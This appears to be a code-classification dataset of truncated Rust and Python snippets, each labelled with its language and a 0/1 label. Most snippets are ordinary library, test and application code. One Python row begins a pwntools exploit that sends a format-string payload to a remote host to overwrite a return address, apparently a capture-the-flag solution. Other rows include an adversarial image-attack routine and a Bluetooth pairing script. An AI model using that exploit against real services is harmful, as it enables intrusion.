text
string
label_name
string
labels
int64
y) == position.y }) } } impl<'a> TryFromCtx<'a, Endian> for TileEntities { type Error = ScrollError; fn try_from_ctx( buf: &'a [u8], _: Endian, ) -> Result<(Self, usize), Self::Error> { let offset = &mut 0; let count = buf.gread_with::<i32>(offset, LE)?; Ok(( Self { count...
Rust
0
< 0.0001); let (dst, f) = seg.distance(Point::new(3.0, 0.0)); assert!((dst.distance - 1.0).abs() < 0.0001); assert!((f - 1.5).abs() < 0.0001); } #[test] fn test_line_dist_y() { let seg = line_element(Point::new(0.0, 0.0), Point::new(0.0, 2.0)); let (dst, f) = seg.di...
Rust
0
smbus_read_byte_data(self, command) } fn smbus_write_byte_data(&mut self, command: u8, value: u8) -> Result<(), Self::Error> { I2c::smbus_write_byte_data(self, command, value) } fn smbus_read_word_data(&mut self, command: u8) -> Result<u16, Self::Error> { I2c::smbus_read_word_data(self...
Rust
0
ception as e: loggings.exception(1, e) return {'code': RET.DBERR, 'message': error_map_EN[RET.DBERR], 'error': str(e)} finally: db.session.close() @classmethod def information_query(cls,**kwargs): userid=kwargs.get('UserID') try: existing...
Python
1
'loc_1B3C', ) ChrTalk( 0x0109, ( '#0180420094V#1065F艾丝蒂尔……\n', '不用那么担心。', TxtCtl.Enter, TxtCtl.Clear, '#0180420095V#1060F你和约修亚约好\n', '要一起走到最后的吧?', TxtCtl.Enter, TxtCtl.Clear, '#018...
Python
1
func=read_data): ''' 历史数据和当日数据的合并,按日处理。即如果历史数据中有当日的,则忽略单文件中的当日数据 ''' #6000是22天,足够应付日ATR计算 t2order = t2order_if if is_if(instrument) else t2order_com dhistory = read_min_as_list(make_his_filename(instrument,path),length=length,extractor=extractor,readfunc=readfunc,t2order=t2order) dtoday ...
Python
1
en_test] fn req_url() { let req = Request::new( Method::GET, Url::parse("https://www.example.com").unwrap(), web_sys::Headers::new().unwrap(), None, ); assert_eq!(&req.url().host().unwrap().to_string(), "www.example.com"); } #[wasm_bi...
Rust
0
if artifact_path.exists(): print(f" ✓ {artifact}") else: print(f" ✗ {artifact} (missing)") cli_logger.info("CLI pipeline completed successfully") summary_logger.log_pipeline_completion(success=True) update_run_index_entry(run_id, "Co...
Python
1
ten_t = 0; #[allow(non_upper_case_globals)] pub const adc_atten_t_ADC_ATTEN_DB_2_5: adc_atten_t = 1; #[allow(non_upper_case_globals)] pub const adc_atten_t_ADC_ATTEN_DB_6: adc_atten_t = 2; #[allow(non_upper_case_globals)] pub const adc_atten_t_ADC_ATTEN_DB_11: adc_atten_t = 3; #[allow(non_upper_case_globals)] pub cons...
Rust
0
_write_closed() } /// Returns true if the value includes read closed readiness pub(crate) fn is_read_closed(self) -> bool { self.contains(Ready::READ_CLOSED) } /// Returns true if the value includes write closed readiness pub(crate) fn is_write_closed(self) -> bool { self.conta...
Rust
0
the OpenGL library previously loaded by SDL_GL_LoadLibrary(). /// /// \sa SDL_GL_LoadLibrary() pub fn SDL_GL_UnloadLibrary(); } extern "C" { /// \brief Return true if an OpenGL extension is supported for the current /// context. pub fn SDL_GL_ExtensionSupported(extension: *const ::std::os::raw::c_char) ...
Rust
0
ds_1') test_oof_means( path='../../oof/bk_oof/Multi_Head_ResNext_seed_1111_aug/', name1='test_6_folds_2', name2='test_aug_6_folds_2') test_oof_means( path='../../oof/bk_oof/Multi_Head_ResNext_seed_1111_aug/', name1='test_5_folds_3', ...
Python
1
ad2fbde479c") .unwrap(); let mac_password = hex::decode("<PASSWORD>").unwrap(); let act = mac.verify(&mac_password, &ciphertext); assert!(act) } #[test] fn deny_invalid_mac() { let mac = MacType::Web3( hex::decode("617ead924a9d0dc3124507e3393d175c...
Rust
0
-data-formats.readthedocs.io/en/latest/spectra/flux_points/index.html>`__. # # No we can check again the underlying astropy data structure by accessing # the ``.table`` attribute: # print(crab_3fhl.flux_points.to_table(sed_type="dnde", formatted=True)) ################################################################...
Python
1
if direction == SweepDirection::Increase { if freq + change > 0x7FF { false } else { self.0 = (freq + change) as u16; true } } else { if change > freq { false } else { sel...
Rust
0
PartialEq, PartialOrd)] pub struct IndirectFontRef { /// Name of the font (postscript name) pub(crate) name: String, } /// Direct reference (wrapper for `lopdf::Object::Reference`) /// for increased type safety #[derive(Debug, Clone)] pub struct DirectFontRef { /// Reference to the content in the document...
Rust
0
from interactions.utils.loot_basic_op import BaseTargetedLootOperation from sims4.tuning.tunable import HasTunableSingletonFactory, TunableVariant class MoveToHiddenInventory(HasTunableSingletonFactory): def _run(self, obj): inventory = obj.get_inventory() if inventory is not None: inve...
Python
1
distro, DISTRO_TEST_DEPS[distro] + DISTRO_PYTHON_RUNTIME_DEPS[distro], ) def build_images(distro: str) -> None: build_base_image(distro) build_build_image(distro) build_analysis_image(distro) build_test_image(distro) def main() -> None: parser = ArgumentParser() par...
Python
1
Eq/questions.json" args.direct_answer_trigger = "\nTherefore, the answer (arabic numerals) is" elif args.dataset == "bigbench_date": args.dataset_path = "./dataset/Bigbench_Date/task.json" args.direct_answer_trigger = "\nTherefore, among A through F, the answer is" elif args.dataset == "...
Python
1
take 2 arguments") } PolicyError::NonBinaryArgOr => f.write_str("Or policy fragment must take 2 arguments"), PolicyError::IncorrectThresh => { f.write_str("Threshold k must be greater than 0 and less than or equal to n 0<k<=n") } PolicyError::T...
Rust
0
} match &field.ty { FieldType::StructOrEnum { .. } | FieldType::Block | FieldType::Item => true, FieldType::Array(of) => { if let FieldType::StructOrEnum { .. } = &*of.clone() { true } else { false ...
Rust
0
continue # inject assetsShared to other instances with # the same `assetShareName` attribute in data asset_shared_name = instance.data.get("assetShareName") s_asset_data = assets_shared.get(asset_shared_name) if s_asset_data: instance.data["a...
Python
1
ed by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. use std::{ ...
Rust
0
page = {:x}", cur_addr, page_addr); } if chunks != EMPTY_CHUNKS { f0.write_page( (&mut &page[..], chunks), page_addr, SecinfoTruncated { flags: per...
Rust
0
import numpy as np from array import array import os from skmultiflow.data import SEAGenerator from skmultiflow.neural_networks import PerceptronMask from sklearn.metrics import accuracy_score import pytest from sklearn import __version__ as sklearn_version @pytest.mark.filterwarnings('ignore::FutureWarning') def ...
Python
1
projected columns we are done with this line match projection_iter.next() { Some(p) => next_projected = p, None => { break; } } } // +1 is the split character that is consumed by ...
Rust
0
create_virtio_console_ioctl_seccomp_rule()), (libc::SYS_mprotect, vec![]), (libc::SYS_prctl, vec![]), (libc::SYS_sched_getaffinity, vec![]), (libc::SYS_set_robust_list, vec![]), ] } fn virtio_iommu_thread_rules() -> Vec<(i64, Vec<SeccompRule>)> { vec![ (libc::SYS_ioctl, ...
Rust
0
s_far); sv.insert(s_bridge_mid_far); assert_eq!(sv[0], s_close); assert_eq!(sv[1], Span::new(500, 1100).unwrap()); assert_eq!(sv.len(), 2); let mut sv = SpanVec::new(); sv.insert(Span::new(0, 1).unwrap()); sv.insert(Span::new(3, 4).unwrap()); sv.insert(Span::new(6, 8).unwrap()); sv...
Rust
0
parse_wrong_arch() -> Result<(), Error> { let vmo = zx::Vmo::create(HEADER_DATA_WRONG_ARCH.len() as u64)?; vmo.write(&HEADER_DATA, 0)?; match Elf64Headers::from_vmo(&vmo) { Err(ElfParseError::InvalidFileHeader(msg)) => { assert_eq!(msg, "Invalid ELF architecture"); ...
Rust
0
uai, user_role=AdageFrontRoles.REDACTOR if institution else AdageFrontRoles.READONLY, ) @blueprint.adage_iframe.route("/logs/contact-url-click", methods=["POST"]) @atomic() @spectree_serialize(api=blueprint.api, on_error_statuses=[404], on_success_status=204) @adage_jwt_required def log_contact_url_click(...
Python
1
#[doc = "Bits 11:13 - Divider for usdhc1 clock podf. Divider should be updated when output clock is gated."] #[inline(always)] pub fn usdhc1_podf(&mut self) -> USDHC1_PODF_W { USDHC1_PODF_W { w: self } } #[doc = "Bits 16:18 - Divider for usdhc2 clock. Divider should be updated when output c...
Rust
0
self.attack_single(img, target)) return np.array(r) def attack_single(self, img, target): """ Run the attack on a single image and label """ # the pixels we can change valid = np.ones((1,self.model.image_size,self.model.image_size,self.model.num_channels)) ...
Python
1
# Esercizio 9.14 ''' Lotteria: crea una classe LotteryMachine che contenga un elenco contenente una serie di 10 numeri e 5 lettere. Implementa un metodo per selezionare casualmente 4 elementi (numeri o lettere) da questo elenco per estrarre un biglietto vincente. Infine, implementa un metodo per visualizzare un messa...
Python
1
accept(self): working_sock, address = self.listening_sock.accept() if self.debugging: print("****** Connection request from ", address, file=sys.__stderr__) if address[0] == LOCALHOST: SocketIO.__init__(self, working_sock) else: print("** Invalid host...
Python
1
String>, #[serde(rename = "DateLastSaved", skip_serializing_if = "Option::is_none")] pub date_last_saved: Option<String>, /// Gets or sets the remote trailers. #[serde(rename = "RemoteTrailers", skip_serializing_if = "Option::is_none")] pub remote_trailers: Option<Vec<crate::model::MediaUrl>>, #...
Rust
0
import streamlit as st import numpy as np from PIL import Image st.set_page_config(page_title="Dice game", page_icon="🤖", layout="wide") st.title("Dice game") st.subheader("Roll for your chance win big") st.sidebar.image("dice_animation.gif") st.image("dice3.gif") def dice_game(): a, b = np.random.randint(1,7...
Python
1
[ 3733, 5160 ], [ 3788, 5256 ], [ 3843, 5352 ], [ 3897, 5448 ], [ 3951, 5544 ], [ 4005, 5641 ], [ 4058, 5737 ], [ 4119, 5849 ], [ 4181, 5961 ], [ 4241, 6073 ], [ 4301, 6185 ], [ 4361, 6297 ], [ 4420, 6410 ], [ 4479, 6522 ], [ 4546, 6650 ], [ 4612, 6778 ],...
Rust
0
(*value)), BoolContent::Categorical(categorical_content) => { RandomBool::Categorical(Random::new_with(categorical_content.clone())) } }; Ok(Graph::Bool(random_bool.into())) } } /* * Copyright (C) 2021 Vaticle * * Licensed to the Apache Software Foundation ...
Rust
0
del_name.""" def __init__( self, model_name, venv_path, include_dev_deps: bool = False, qaihm_wheel_dir: str | os.PathLike | None = None, ) -> None: extras = [] if include_dev_deps: extras.append("dev") if os.path.exists( o...
Python
1
wrap() )); assert!(verify_signature( &valset1[i].get_public_key().unwrap(), &sign_bytes, signature.as_ref().unwrap() )); } _ => panic!("signature was not a ...
Rust
0
"*Required features: 'Win32_Media_Audio'*"] pub const ACMDRIVERDETAILS_SUPPORTF_CODEC: i32 = 1i32; #[doc = "*Required features: 'Win32_Media_Audio'*"] pub const ACMDRIVERDETAILS_SUPPORTF_CONVERTER: i32 = 2i32; #[doc = "*Required features: 'Win32_Media_Audio'*"] pub const ACMDRIVERDETAILS_SUPPORTF_DISABLED: i32 = -21474...
Rust
0
#!/usr/bin/env python3 # coding: utf-8 # File: tfidf.py # Author: lhy<lhy_in_blcu@126.com,https://huangyong.github.io> # Date: 18-4-17 import jieba.posseg as pseg class TFIDF: def __init__(self): self.idf_file = 'data/idf.txt' self.idf_dict, self.common_idf = self.load_idf() def build_wordsdic...
Python
1
features = ["allocator_api"] } ``` Next, enable the `allocator_api` nightly Rust feature in your `src/lib.rs` or `src/main.rs`: ```rust # #[cfg(feature = "allocator_api")] # { #![feature(allocator_api)] # } ``` Finally, use `std` collections with `Bump`, so that their internal heap allocations are made within the g...
Rust
0
:\n{expected}\nActual:\n{actual}", ) @set_default_dtype(torch.double) def test_entropy(self): for Dist, keys, values, sample in self._examples(): # FIXME traced functions produce incorrect results xfail = [LowRankMultivariateNormal, MultivariateNormal] if...
Python
1
from setuptools import find_packages, setup from glob import glob import os package_name = 'neupan_ros' setup( name=package_name, version='0.0.0', packages=find_packages(exclude=['test']), data_files=[ ('share/ament_index/resource_index/packages', ['resource/' + package_name]), ...
Python
1
# Can SAME padding for given args be done statically? def is_static_pad(kernel_size: int, stride: int = 1, dilation: int = 1, **_): return stride == 1 and (dilation * (kernel_size - 1)) % 2 == 0 # Dynamically pad input x with 'SAME' padding for conv with specified args # def pad_same(x, k: List[int], s: List[in...
Python
1
// wait for sink being connected let handle = self.handle.load().child_token(); handle.cancelled().await; sink = self.sink.load(); } let sink = sink.clone().unwrap(); let mut sink = sink.lock().await; let inner = &mut *sink; inner.send_all(msg)...
Rust
0
let mut t1: cmplx = cmplx { r: 0.0, i: 0.0 }; //cmplx { r: 0.0, i: 0.0 }; let mut t2: cmplx = cmplx { r: 0.0, i: 0.0 }; //cmplx { r: 0.0, i: 0.0 }; t1.r = cc[(i) + ido * ((1) + cdim * (k))].r + cc[(i) + ido * ((2) + cdim * (k))].r; t1.i = cc[(i) + ido * ((1) + cdim * ...
Rust
0
dx2), Ordering::Equal => return Some(self.at_center()), Ordering::Greater => (idx2, idx1), }; if lesser >= self.line.len() { return None; } self.get_weight_unchecked(lesser, greater) } pub fn at_center(&self) -> Precision { self.kernel...
Rust
0
( &guest_memory, initrd_file.as_mut().unwrap(), ).unwrap()); load_cmdline::<memory::GuestMemoryMmap>( &guest_memory, GuestAddress(arch::x86_64::CMDLINE_START), &boot_cmdline, ).unwrap(); let entry_addr = kernel_entry.kernel_load; arch::x86_64::configure_syste...
Rust
0
let _ = subscriber_client.connect(policy); let _ = subscriber_client.wait_for_connect().await?; let _ = subscriber_client.subscribe(CHANNEL1).await?; let subscriber_jh = tokio::spawn(async move { let mut message_stream = subscriber_client.on_message(); let mut count = 0; while count < NUM_MESSAGES...
Rust
0
: HotkeyManager, } impl InputManager { pub fn new(sender: broadcast::Sender<Command>) -> Result<Self> { let mut hkm = HotkeyManager::new(); let modifiers = vec![Modifier::ALT, Modifier::SHIFT]; let sender2 = sender.clone(); hkm.register( Hotkey { modif...
Rust
0
("No XML_OUTPUT set in Doxyfile") new_xmldir = new / xml_output[0] prev_xmldir = prev / xml_output[0] if prev_xmldir.exists(): dcmp = filecmp.dircmp(new_xmldir, prev_xmldir) for file in dcmp.right_only: (Path(dcmp.right) / file).unlink() for file in dcmp.left_only + d...
Python
1
std::option::Option< unsafe extern "C" fn(sd: *mut tm_saved_truth_data_o, asset: tm_tt_id_t) -> bool, >, pub saved_name: ::std::option::Option< unsafe extern "C" fn( sd: *mut tm_saved_truth_data_o, item: tm_tt_id_t, ) -> *const ::std::os::raw::c_char, ...
Rust
0
nsumeAndGetAvailableWriteBuf(&self, size: usize) -> (bool, u64, usize) { let mut w = self.writeBuf.lock(); let trigger = w.Consume(size); let (addr, size) = w.GetDataBuf(); return (trigger, addr, size) } pub fn Readv(&self, iovs: &mut [IoVec]) -> Result<(bool, usize)> { ...
Rust
0
eq!( ring.len(), membership_proofs.len(), "Each ring element must have a corresponding membership proof." ); let public_key = RistrettoPublic::try_from(&utxo.tx_out.public_key).unwrap(); let onetime_private_key = recover_onetime_private_key( &publ...
Rust
0
import matplotlib.pyplot as plt import random import time import sys import gc import numpy as np import tracemalloc from incremental import incremental_delaunay from constant import constant_workspace_delaunay from incremental import incremental_delaunay_dummy from constant import constant_workspace_delaunay_dummy Po...
Python
1
).enabled()); // Configure pins 8-15 as outputs gpioe .moder .modify( |_, w| { w.moder8() .output() .moder9() .output() .moder10() .output() .moder...
Rust
0
#!/usr/bin/env python3 import re import subprocess import sys def get_db_revision_id() -> str | None: """Get the current revision ID of the database We are doing `flask db current 2> /dev/null` and then grepping it, because we need the output of the copilot svc exec command to be short. Copilot svc ...
Python
1
x, y), (0x9, x, y, 0x0) => SNEVV(x, y), (0xA, _, _, _) => LDIA(Self::get_addr(bytes)), (0xB, _, _, _) => JPVA(Self::get_addr(bytes)), (0xC, x, _, _) => RNDVB(x, Self::get_byte(bytes)), (0xD, x, y, n) => DRWVVN(x, y, n), (0xE, x, 0x9, 0xE) => SKPV(x...
Rust
0
from pwn import * context.log_level = 'error' context.binary = elf = ELF("./vuln") libc = ELF("./libc.so.6") #conn = remote("localhost", 1337) conn = remote("34.57.72.108", 42042) conn.sendlineafter(b"Choice: ", b"s %82p%53$hhn") # select Rome conn.recvuntil(b"0x") ret = int(conn.recv(12), 16) + 0x1a8 info("retaddr ...
Python
1
n(key = 0)] Id_MME_UE_S1AP_ID(MME_UE_S1AP_ID), #[asn(key = 8)] Id_eNB_UE_S1AP_ID(ENB_UE_S1AP_ID), } #[derive(Debug, AperCodec)] #[asn(type = "SEQUENCE", extensible = false)] pub struct InitialContextSetupFailureProtocolIEs_Entry { #[asn(key_field = true)] pub id: ProtocolIE_ID, pub criticality:...
Rust
0
message contains a valid NaCl /// public key (32 bytes) in the key field. #[test] fn token_initiator_validate_public_key() { let mut ctx = TestContext::initiator( ClientIdentity::Initiator, None, SignalingState::PeerHandshake, ServerHandshakeState::Done, ); /...
Rust
0
self.cur; let mut i : usize = 0; let mut j = loff; let mut k = roff; while i < len { /* fill up the buffers as needed */ if l == 64 { self.one_block(0 as i32); l = 0; } left_out[j] = self.left_buf[0][l] as f64; right_out[k] = self.right_buf[0][l...
Rust
0
`Vec<UnreferencedMessage>` tree. pub const TREE_MILESTONE_INDEX_TO_UNREFERENCED_MESSAGE: &str = "milestone_index_to_unreferenced_message"; /// Identifier for the `MilestoneIndex` to `Vec<Receipt>` tree. pub const TREE_MILESTONE_INDEX_TO_RECEIPT: &str = "milestone_index_to_receipt"; /// Identifier for the `bool` to `Ve...
Rust
0
ia_met = True # print(creator_address) print( style.RED + f"Creator owns {formatted_percentage} of LP TOKENS ---This might be actually locked", style.RESET) ...
Python
1
from django.urls import path from . import views urlpatterns = [ path("", views.index, name="index"), path("predictions", views.available_predictions, name="predictions"), path("predictions/predict/<str:season>/<str:cup>/<str:race>", views.make_race_prediction, name="predict"), path("predictions/view/...
Python
1
res.par_mapv_inplace(|ele| { if ele > T::zero() { ele } else { T::one().div(T::from_u32(10).unwrap()) } }); } }; res } fn par_forward(&self, input: ArrayViewD...
Rust
0
*"] pub const DMP_RESERVED_2_SIZE_32: u32 = 16u32; #[doc = "*Required features: `\"Win32_System_Diagnostics_Debug\"`*"] pub const DMP_RESERVED_3_SIZE_32: u32 = 56u32; #[doc = "*Required features: `\"Win32_System_Diagnostics_Debug\"`*"] pub type DOCUMENTNAMETYPE = i32; #[doc = "*Required features: `\"Win32_System_Diagno...
Rust
0
["sv"]), // sweden ("CH", &["de", "fr", "it", "rm"]), // switzerland ("TH", &["th"]), // thailand ("TN", &["ar"]), // tunisia ("TR", &["tr"]), // turkey ("UA", &["uk"]), // ukraine (...
Rust
0
from scapy.all import * from scapy.layers.bluetooth import SM_Master_Identification from scapy.layers.bluetooth import SM_Identity_Information from scapy.layers.bluetooth import SM_Pairing_Request from scapy.layers.bluetooth import SM_Confirm from scapy.layers.bluetooth import SM_Random import BLESMPServer master_addr...
Python
1
) result_2 = dbs.fit(X_train_nd) predict_2 = result_2.fit_predict(X[np.array(test_set)[predict_y.astype(bool)]]) map_1 = [] for i in range(len(predict_y.astype(bool))): if predict_y.astype(bool)[i]: map_1.append(i) for i in range(len(predict_2)): ...
Python
1
) + 1) def poincare_to_lorentz(x, k, dim=-1, eps=1e-6): r""" Diffeomorphism that maps from Poincare disk to Hyperboloid. .. math:: \Pi_{\mathbb{D}^{d, k} \rightarrow \mathbb{H}^{d d, 1}}\left(x_{1}, \ldots, x_{d}\right)=\frac{\sqrt{k} \left(1+|| \mathbf{x}||_{2}^{2}, 2 x_{1}, \ldots, 2 x_{d}\rig...
Python
1
with imgui.begin("Viewport"): self.__ViewportSize = imgui.get_content_region_available() viewportMinRegion = imgui.get_window_content_region_min() viewportMaxRegion = imgui.get_window_content_region_max() viewportOffset = imgui.get_window_position() s...
Python
1
import jittor as jt import numpy as np from jittor import nn # Pinhole Camera Rays def pinhole_get_rays(H, W, focal, c2w, intrinsic = None): i, j = jt.meshgrid(jt.linspace(0, W-1, W), jt.linspace(0, H-1, H)) i = i.t() j = j.t() if intrinsic is None: dirs = jt.stack([-(i-W*.5)/focal, -(j-H*.5)/f...
Python
1
_> for Query {} impl TryFrom<&[zmq::Message]> for Query { type Error = Error; fn try_from(args: &[zmq::Message]) -> Result<Self, Self::Error> { if args.len() != 1 { Err(Error::WrongNumberOfArguments)? } let query = String::from_utf8(args[0][..].to_vec()).map_er...
Rust
0
Result { write!(f, "ChargeTransactionPayment<{:?}>", self.0) } #[cfg(not(feature = "std"))] fn fmt(&self, _: &mut sp_std::fmt::Formatter) -> sp_std::fmt::Result { Ok(()) } } impl<T: Config + Send + Sync> ChargeTransactionPayment<T> where <T as frame_system::Config>::Call: Dispatchable<Info = DispatchInfo, Pos...
Rust
0
phs[glyph] if cid_mapped == (prevcid + 1): if glyph.glyph_width == prevwidth: if glyph.glyph_width == range_[rangeid][0]: range_.setdefault(rangeid, []).append(glyph.glyph_width) else: range_[rangeid].pop() #...
Python
1
from __future__ import division, print_function, absolute_import from subprocess import Popen, PIPE, STDOUT import numpy as np SZ = [2, 3, 4, 8, 12, 15, 16, 17, 32, 64, 128, 256, 512, 1024] def gen_data(dt): arrays = {} if dt == np.float128: pg = './fftw_longdouble' elif dt == np.double: ...
Python
1
imCh4<Tim5>, GpioB8<PinAf2> -> IndirectSelection; TimCh4<Tim5>, GpioD14<PinAf2> -> IndirectSelection; TimCh4<Tim5>, GpioA3<PinAf2> -> DirectSelection; TimCh4<Tim5>, GpioB9<PinAf2> -> DirectSelection; TimCh4<Tim5>, GpioD15<PinAf2> -> DirectSelection; TimCh3<Tim5>, GpioA3<PinAf2> -> IndirectSelection...
Rust
0
ce Monday."); //! # Ok::<(), nlprule::Error>(()) //! ``` //! //! Binaries are distributed with [Github releases](https://github.com/bminixhofer/nlprule/releases). //! //! # The 't lifetime //! By convention the lifetime `'t` in this crate is the lifetime of the input text. //! Almost all structures with a lifetime are ...
Rust
0
fields.push(::protobuf::reflect::accessor::make_simple_field_accessor::<_, ::protobuf::types::ProtobufTypeBool>( "success", |m: &CancelDataflowResponse| { &m.success }, |m: &mut CancelDataflowResponse| { &mut m.success }, )); fi...
Rust
0
wb_summary += f" {status_icon} {principle_display}: {score:.0f}%\n" # Add key reasoning if available reasoning = warren_buffett_analysis.get('investment_reasoning', '') if reasoning: wb_summary += f"\n[bold]Key Analysis:[/bold]\n{reason...
Python
1
f angles to sample for eval during training eval_size: int = 10 # Number of angles to sample for eval after training full_eval_size: int = 100 # Export a mesh save_mesh: bool = True # Whether to show intermediate diffusion visualizations vis_diffusion_steps: bool = True # Whether to log ...
Python
1
at build-time. /// /// Additionally, the wrapper appends to a log file called `.launcher_version_log` a line containing /// the version string that was launched (creating the file if necessary). This can be used by tests /// to verify the order of launched versions. pub fn wrap_launcher(version: impl AsRef<str>) { ...
Rust
0
from unittest import TestCase, main from ugrd.initramfs_generator import InitramfsGenerator from zenlib.logging import loggify @loggify class TestCryptsetup(TestCase): def setUp(self): """Create the test keyfile""" from pathlib import Path from uuid import uuid4 keyfile = Path("/...
Python
1
ns under the License. // use serde_json; use std::env; use std::fs::File; use std::io::*; use std::net::{IpAddr, Ipv4Addr, SocketAddr, UdpSocket}; use std::process::{Command, Stdio}; use std::sync::mpsc::{channel, Receiver, Sender}; use std::time::Duration; use std::{thread, thread::JoinHandle}; use tempfile::TempDir...
Rust
0
from ldm.data.annotated_objects_custom import AnnotatedObjectCustom class customTrain(AnnotatedObjectCustom): def __init__(self, size): super().__init__(data_path='./data/', split='train', keys=['image', 'objects_bbox'], no_tokens=...
Python
1
#!/usr/bin/python # Copyright 2015 MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed...
Python
1
import pytest from selenium import webdriver @pytest.fixture(scope="session") def driver(): driver = webdriver.Chrome() driver.maximize_window() yield driver driver.quit()
Python
1
6bit R5 G6 B5 //! * OR Convert with imagemagick: convert rustacean-flat-noshadow.png -type //! truecolor -define bmp:subtype=RGB565 -depth 16 -strip -resize 86x64 //! ferris.bmp //! //! cp ferris*.bmp /Volumes/SDCARD/ #![no_std] #![no_main] #[cfg(not(feature = "panic_led"))] use panic_halt as _; use pygamer::{ent...
Rust
0
ctx.llvm_ctx.i64_type().into()); arg_tys.push(function_ptr_ty.into()); arg_tys.reverse(); let invoke_fn_ptr_ty = object_ty .fn_type(arg_tys.as_slice(), false) .ptr_type(AddressSpace::Generic); let n_varargs = ctx.builder.build_int_sub( ctx.llvm_ctx .i64_type() ...
Rust
0
this: *mut ffi::WebKitWebView, decision: *mut ffi::WebKitPolicyDecision, decision_type: ffi::WebKitPolicyDecisionType, f: glib::ffi::gpointer, ) -> glib::ffi::gboolean { let f: &F = &*(f as *const F); f( WebView::from_glib_borrow(this).unsafe_cast_ref(), &from_glib_borr...
Rust
0
w = 100 v = 300 g = 9 re = w - g rem = (v / w) * re print(re) print(w - re) print(v - rem)
Python
1
active_cubes.insert(Point(coords)); } }) } active_cubes } struct SimulatedPoint { point: Point, neighbours: Vec<Point>, should_deactivate: bool, } fn simulate_step_par(active_points: &mut HashSet<Point>) { let simulated_points: Vec<_> = active_points .p...
Rust
0
let mut vrf_id = 0; let mut ifa = 0 as *mut sctp_ifa; /* find the ifa for the desired set primary */ vrf_id = (*stcb).asoc.vrf_id; ifa = sctp_find_ifa_by_addr(sa, vrf_id, 0i32); if ifa.is_null() { /* Invalid address */ return -(1i32); } /* queue an ASCONF:SET_PRIM_ADDR t...
Rust
0
// ((A and X) - #imm) -> X Xaa, // Transfere X to A, then And #imm [Txa + And #imm] Ahx, // Store the value of (A and X and {High byte of $addr}) into $addr Shy, // Store the value of (Y and {High byte of $addr}) into $addr Shx, // Store the value of (X and {High byte of $addr}) into $addr Tas, /...
Rust
0
d) = REPLACE.get(lang).and_then(|l| l.get(en)) { translated } else { #[cfg(feature = "realtime")] realtime::notify_unknown(lang, en); en } } /// Fetches global target language company message with the matching `key`, or falls back on /// lang='en'. #[inline] pub fn company(c: C...
Rust
0
se: if len(nodes1) == 0: nodes1, nodes2 = nodes2, nodes1 new_nodes1, new_nodes2 = new_nodes2, new_nodes1 last1, last2 = last2, last1 path1, path2 = last1.retrace(), last2.retrace()[:-1][::-1] for p, n in get_pai...
Python
1
""" questo file gestisce il file 'allUser.csv' """ from asyncio import Lock from datetime import datetime as dt # Creare un lock globale per evitare concorrenza durante la scrittura del file lock_allUser = Lock() async def update_all_user(user_id, first_name: str, tag: str, datetime_value: ...
Python
1